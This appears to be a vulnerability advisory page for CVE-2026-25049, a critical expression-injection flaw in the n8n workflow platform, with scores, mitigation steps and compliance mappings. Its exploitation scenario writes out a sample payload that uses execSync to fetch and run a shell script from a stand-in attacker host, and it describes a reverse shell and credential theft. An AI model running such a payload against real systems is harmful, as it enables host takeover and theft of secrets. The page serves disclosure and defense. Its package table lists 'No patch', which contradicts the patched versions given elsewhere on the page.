CVE-2026-25049: n8n: security flaw enables exploitation

CRITICAL

Published February 4, 2026

CISO Take

CVE-2026-25049 is a CVSS 9.9 RCE vulnerability in n8n, one of the most widely deployed AI agent orchestration platforms. Any authenticated workflow editor — including compromised contractors or insider threats — can execute arbitrary OS commands on the n8n host, which typically has unrestricted access to your AI APIs, databases, and internal services. Patch to 1.123.17 or 2.5.2 immediately; treat any unpatched n8n instance as fully compromised.

What is the risk?

Severity is effectively maximum for organizations running n8n as AI infrastructure. CVSS 9.9 with Scope:Changed means blast radius extends beyond the n8n process to the underlying host. Attack complexity is LOW and only requires a low-privileged authenticated account — the attacker does not need admin rights, just workflow create/edit permissions. n8n instances typically hold OpenAI/Anthropic API keys, database credentials, webhook secrets, and internal service tokens in their configuration, making post-exploitation trivially impactful. No CISA KEV listing yet, but the low bar for exploitation makes active exploitation highly probable.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
n8n	npm	—	No patch
209.2KOpenSSF 7.116 dependentsPushed 4d ago44% patched~19d to patchFull package profile →

Do you use n8n? You're affected.

How severe is it?

CVSS 3.1

9.9 / 10

EPSS

1.6%

chance of exploitation in 30 days

Higher than 75% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AVNetwork

ACLow

PRLow

UINone

SChanged

CHigh

IHigh

AHigh

What should I do?

7 steps

PATCH
Upgrade n8n to 1.123.17 (v1 branch) or 2.5.2 (v2 branch) immediately — no workaround exists for the expression injection.
AUDIT
Review who has workflow create/edit permissions; apply least-privilege — revoke permissions from any non-essential users.
ROTATE CREDENTIALS
Rotate all API keys and secrets stored in n8n's credential vault as a precaution.
ISOLATE
Run n8n in a container or VM with minimal host privileges; restrict outbound network access to only required endpoints.
DETECT
Search logs for unusual workflow executions, unexpected child processes spawned by n8n, or outbound connections to unfamiliar IPs.
NETWORK SEGMENTATION
n8n should never have direct access to production databases or credential stores — enforce network segmentation.
MFA
Enable MFA on all n8n accounts to raise the bar for account compromise leading to exploitation.

What does CISA's SSVC say?

DecisionTrack

Exploitationnone

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionData ExtractionAuth BypassAgentFrameworkAPIAML.T0012- Valid Accounts AML.T0049- Exploit Public-Facing Application AML.T0050- Command and Scripting Interpreter AML.T0053- AI Agent Tool Invocation AML.T0072- Reverse Shell AML.T0081- Modify AI Agent Configuration AML.T0083- Credentials from AI Agent Configuration AML.T0105- Escape to Host

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15-Accuracy, robustness and cybersecurityArticle 9-Risk management system

ISO 42001

A.6.2-Roles, responsibilities and authorities for AI systemsA.9.1-Security of AI systemA.9.7-Information security of AI systems

NIST AI RMF

GOVERN 1.1-Policies, processes, procedures, and practices across the organizationGOVERN 6.1-Policies and procedures for AI risk are in placeMANAGE 2.2-Mechanisms are in place to respond to AI system incidents

OWASP LLM Top 10

LLM06-Excessive AgencyLLM07-Insecure Plugin DesignLLM08-Excessive Agency

Frequently Asked Questions

What is CVE-2026-25049?

Is CVE-2026-25049 actively exploited?

No confirmed active exploitation of CVE-2026-25049 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-25049?

1. PATCH: Upgrade n8n to 1.123.17 (v1 branch) or 2.5.2 (v2 branch) immediately — no workaround exists for the expression injection. 2. AUDIT: Review who has workflow create/edit permissions; apply least-privilege — revoke permissions from any non-essential users. 3. ROTATE CREDENTIALS: Rotate all API keys and secrets stored in n8n's credential vault as a precaution. 4. ISOLATE: Run n8n in a container or VM with minimal host privileges; restrict outbound network access to only required endpoints. 5. DETECT: Search logs for unusual workflow executions, unexpected child processes spawned by n8n, or outbound connections to unfamiliar IPs. 6. NETWORK SEGMENTATION: n8n should never have direct access to production databases or credential stores — enforce network segmentation. 7. MFA: Enable MFA on all n8n accounts to raise the bar for account compromise leading to exploitation.

What systems are affected by CVE-2026-25049?

This vulnerability affects the following AI/ML architecture patterns: AI agent frameworks, LLM orchestration pipelines, RAG pipelines, workflow automation, model serving integrations.

What is the CVSS score for CVE-2026-25049?

CVE-2026-25049 has a CVSS v3.1 base score of 9.9 (CRITICAL). The EPSS exploitation probability is 1.56%.

What is the AI security impact?

Affected AI Architectures

AI agent frameworksLLM orchestration pipelinesRAG pipelinesworkflow automationmodel serving integrations

MITRE ATLAS Techniques

AML.T0012Valid Accounts

AML.T0049Exploit Public-Facing Application

AML.T0050Command and Scripting Interpreter

AML.T0053AI Agent Tool Invocation

AML.T0072Reverse Shell

AML.T0081Modify AI Agent Configuration

AML.T0083Credentials from AI Agent Configuration

AML.T0105Escape to Host

Compliance Controls Affected

EU AI Act: Article 15, Article 9

ISO 42001: A.6.2, A.9.1, A.9.7

NIST AI RMF: GOVERN 1.1, GOVERN 6.1, MANAGE 2.2

OWASP LLM Top 10: LLM06, LLM07, LLM08

What are the technical details?

Original Advisory

n8n is an open source workflow automation platform. Prior to versions 1.123.17 and 2.5.2, an authenticated user with permission to create or modify workflows could abuse crafted expressions in workflow parameters to trigger unintended system command execution on the host running n8n. This issue has been patched in versions 1.123.17 and 2.5.2.

Exploitation Scenario

An adversary with a compromised contractor account (or a disgruntled employee) with workflow-editor permissions opens a legitimate-looking workflow in n8n. They embed a crafted expression such as `{{ $evaluateExpression('require("child_process").execSync("curl attacker.com/shell.sh | bash")') }}` in a node parameter. When the workflow is triggered — either manually or by a scheduled/webhook event — n8n's expression engine evaluates the payload and executes the OS command with n8n's process privileges. The attacker establishes a reverse shell, extracts all AI API credentials (OpenAI, Anthropic, Pinecone, etc.) from n8n's encrypted store, and pivots laterally to connected AI infrastructure. The entire AI agent pipeline is now under adversary control with no visible indicators to end users.

Weaknesses (CWE)

CWE-913Improper Control of Dynamically-Managed Code ResourcesPrimary

CWE-913 — Improper Control of Dynamically-Managed Code Resources: The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

[Implementation] For any externally-influenced input, check the input against an allowlist of acceptable values.
[Implementation, Architecture and Design] Refactor the code so that it does not need to be dynamically managed.

Source: MITRE CWE corpus.